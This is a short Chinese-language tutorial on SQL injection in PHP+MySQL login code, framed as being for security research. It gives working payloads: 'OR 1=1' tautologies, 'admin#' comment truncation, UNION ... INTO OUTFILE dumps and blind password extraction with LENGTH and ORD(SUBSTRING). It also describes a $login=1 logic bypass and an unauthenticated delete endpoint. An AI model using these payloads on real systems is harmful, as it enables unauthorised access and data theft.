本文僅供安全研究與防禦學習,所有漏洞未經驗證,重點在於分析思路與語句構造技巧。請勿用於非法用途。
PHP+MySQL 注入較 ASP 困難,主因在於 MySQL 語法限制與 PHP 轉義機制。本文以實際代碼片段為例進行分析。
$q = "select id,group_id from $user_table where username=$username and password=$password";
$username、$password 未過濾,直接拼接進 SQL。
$username = " OR 1=1 " $password = " OR 1=1 " // 產生:where username= OR 1=1 and password= OR 1=1
$username = "admin#" // 產生:where username=admin# and password=... // 實際執行:where username=admin
利用 # 或 /* 註釋掉後續條件。注意 $password 經 md5() 加密,技巧 1 失效,需用技巧 2。
注入成功獲取 $row 後,代碼還有邏輯判斷:
if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) { $login = 0; }
可直接提交 $login=1 繞過,或構造滿足條件的注入載荷。
ORDER BY N 試探)information_schema 獲取$forum_id = " UNION SELECT * FROM user_table INTO OUTFILE '/path/file.txt'" // 需 FILE 權限、知道 Web 絕對路徑、magic_quotes_gpc=off
// 猜解密碼長度 $username = "admin AND LENGTH(password)=6#" // 猜解密碼首字元 ASCII $username = "admin AND ORD(SUBSTRING(password,1,1))=57#"
通過頁面回應正常/異常(或內容差異)逐位爆破。
adminloglist.php 無管理員登入驗證,直接處理 del_log、log_id、del_id 參數執行 DELETE,導致任意刪除。
(int)$id、白名單驗證